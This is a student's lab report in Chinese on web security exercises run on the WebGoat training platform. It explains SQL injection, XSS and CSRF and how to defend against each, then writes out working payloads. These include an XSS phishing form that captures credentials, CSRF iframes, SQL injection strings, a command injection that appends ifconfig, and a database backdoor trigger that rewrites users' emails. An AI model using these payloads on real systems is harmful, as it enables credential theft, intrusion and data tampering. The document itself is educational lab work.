20155204《网络对抗》Exp9 Web安全基础实践
一、基础问题回答
SQL注入攻击原理,如何防御?
原理:
- SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
防御:
- 1.普通用户与系统管理员用户的权限要有严格的区分。如果一个普通用户在使用查询语句中嵌入另一个Drop Table语句,那么是否允许执行呢?由于Drop语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。
- 2.强迫使用参数化语句。如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击。不过可惜的是,现在支持参数化语句的数据库引擎并不多。不过数据库工程师在开发产品的时候要尽量采用参数化语句。
- 3.加强对用户输入的验证。、在SQLServer数据库中,有比较多的用户输入内容验证工具,可以帮助管理员来对付SQL注入式攻击。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果。
2.XSS攻击的原理,如何防御?
原理:
- XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,html代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
防御
- 1.使用XSSFilter。输入过滤,对用户提交的数据进行有效性验证,仅接受指定长度范围内并符合我们期望格式的的内容提交,阻止或者忽略除此外的其他任何数据。比如:电话号码必须是数字和中划线组成,而且要设定长度上限。过滤一些些常见的敏感字符,例如:```< > ‘ “ & # \\ javascript expression "onclick=" "onfocus"```;过滤或移除特殊的Html标签, 例如: ```<script>, <iframe> , < for <, > for >, " for```;过滤JavaScript 事件的标签,例如``` "onclick=", "onfocus" ```等等。输出编码,当需要将一个字符串输出到Web网页时,同时又不确定这个字符串中是否包括XSS特殊字符(如< > &‘”等),为了确保输出内容的完整性和正确性,可以使用编码(HTMLEncode)进行处理。
- 2.DOM型的XSS攻击防御。把变量输出到页面时要做好相关的编码转义工作,如要输出到 <script>中,可以进行JS编码;要输出到HTML内容或属性,则进行HTML编码处理。根据不同的语境采用不同的编码处理方式。
- 3.HttpOnly Cookie将重要的cookie标记为http only, 这样的话当浏览器向Web服务器发起请求的时就会带上cookie字段,但是在脚本中却不能访问这个cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie:
3.CSRF攻击原理,如何防御?
原理:
- CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御:
- 通过 referer、token 或者 验证码来检测用户提交。
- 尽量不要在页面的链接中暴露用户隐私信息。
- 对于用户修改删除等操作最好都使用post 操作 。
- 避免全站通用的cookie,严格设置cookie的域。
二、实践总结与体会
这是最后一个实验了,基于这个webgoat的实验平台做了很多实验,按着步骤来,也不算难操作,难在理解每一句指令,每一个攻击方式,每一个漏洞,这也是我们做这么多实验的目的吧,直观的先认识到,怎么样会成功,然后再推敲,是怎么成功的。网络对抗的实验确实是最有趣的,也是我做过最能调动人学习兴趣的实验。
三、实践过程记录
1.开启webgoat
-
通过
java -jar webgoat-container-7.0.1-war-exec.jar
打开webgoat。(这个实际安装真的好费事。。最后还是选择了老师的kali) -
在kali浏览器中输入localhost:8080/WebGoat,用默认账户密码登录webgoat。
2.XSS:Phishing with XSS 跨站脚本钓鱼攻击
如果一个未经验证的用户输入一个 HTTP 响应时, XSS 很有可能发生,利用它就可以进行钓鱼攻击,在一个页面内添加一个伪官方网页就可以骗取用户的账号和口令。注意这里强调的是在 HTTP 响应时攻击,而不是请求,要知道如果是请求的话,那么就相当于是自己黑自己,多没意思,可如果是响应的话就意味着,别人发送请求,而你响应他虚假的页面,这样就可以用来对其进行欺骗。
- 先准备一个代码
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
-
然后在webgoat找到xss攻击打开Phishing with XSS,将这段代码输入到输入框中,点击search出现如下登录框:
-
在登录框中输入用户名、密码:
-
点击登录后跳出弹框,其中包含用户输入的用户名、密码。攻击成功!
3.XSS:Stored XSS Attacks 存储型XSS攻击
-
简单来说明一下存储型XSS的攻击基本流程:比如在某个论坛提供留言板功能,黑客在留言板内插入恶意的html或者Javascript代码,并且提交。网站后台程序将留言内容存储在数据中。然后一个用户也访问这个论坛,并刷新了留言板,这时网站后台从数据库中读取了之前黑客的留言内容,并且直接插入在html页面中,这就可能导致了:黑客留言的脚本本身应该作为内容显示在留言板的,然后此时可能黑客的留言脚本被浏览器解释执行了。然后黑客就可以:通过javascript获取用户的cookie,根据这个cookie窃取用户信息;重定向网站到一个钓鱼网站;重新更改页面内容,假装让客户输入用户名,密码,然后提交到黑客的服务器等等。
-
打开Stored XSS Attacks
-
在Message框中输入
-
点击提交就可以看到弹窗了。
4.XSS:Reflected XSS Attacks 反射型XSS攻击
-
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
-
在第二个code框中输入
<script>alert("20155204wh");</script>
-
点击purchase后攻击成功。
5.Cross Site Request Forgery(CSRF)
- CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
- 注意留心页面右边Parameters中的src和menu值
- 在title框中输入学号,message框中输入代码:
- 点提交按钮,再点击生成的连接,即可看到结果。
6.CSRF Prompt By-Pass
- 跟上一个一样的操作,留意页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
- 还是点击学号链接,跳转到攻击成功的页面。
7.SQL:Numeric SQL Injection
- 这里开始的都是SQL攻击,所谓SQL注入式攻击,就是输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。
- 我们在kali中打开
BurpSuite
这个软件。 - 选择Proxy->Options->Add添加一个端口,修改端口号为5204,并选中这个端口。
- 然后配置Firefox,
preference-->advanced-->network-->connection-->settings
,设置代理服务器和端口,要与刚刚BurpSuite中绑定的一致。 - 设置好代理后回到题目页面,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包。
- 然后右键这个包,把它send to repeater,再进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为
SELECT * FROM weather_data WHERE station = 101 or 1=1
- 回到Proxy中点击Intercept is on 改为 off 停止抓包,回到火狐发现已经成功。
8.SQL:Command Injection
-
还是用BurpSuite抓包。
-
在webgoat中点击view,BurpSuite的proxy已经抓到了包,同样send到repeater,在其中的Params选项中先运行一次,查看数据都提交的位置。
-
然后修改HelpFile的值为
AccessControlMatrix.help"&&ifconfig"
,点击GO发现执行了ifconfig语句。
-
回到webgoat发现攻击成功。
8.SQL:Log Spoofing
- 在User Name文本框中输入
%0d%0aLogin succeeded !admin
可以欺骗登录。
9.LAB:SQL Injection(Stage 1:String SQL Injection)
- 使用Firefox浏览器上方的插件firebug,可以修改当前页面的源码。
- 利用firebug对长度maxlength值进行扩大(原本是8),然后使用用户Neville进行登录,在密码栏中再次输入\' or 1=1 --,点击登录就OK。这里firebug要一直开着,不然改过的网页源码就无效了。
9.LAB:SQL Injection(Stage 3:Numeric SQL Injection)
- 还是用上一个的办法登录。
- 还是用firebug修改viewprofile部分的代码,找到一行用员工id作为索引来传送数据的代码,双击这行代码就可以出现value的值,因为我们想要用员工的账户浏览老板信息,而大多数企业公司里老板的工资应该是最高的,所以我们就把其中的value值由101改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个让我们看到。
10.String SQL Injection
- 构造永真式\'or 1=\'1,输入第一个分号用来闭合原输入语句的前一个分号,而第二个分号用来闭合原输入语句的后一个分号,使这条语句被强行拆分成为两条语句。然后我们就可以看到全部信息了。
11.Database Backdoors
- 输入语句
101; update employee set salary=8888888
成功将该用户的工资变成8888888,攻击成功:
- 下一步,输入语句
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=\'20155204@hackme.com\' WHERE userid = NEW.userid
使得表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱。
12.Blind Numeric SQL Injection
- 不得不承认,偷了个懒,直接参考同学的博客得到2364是可用的,输入攻击成功。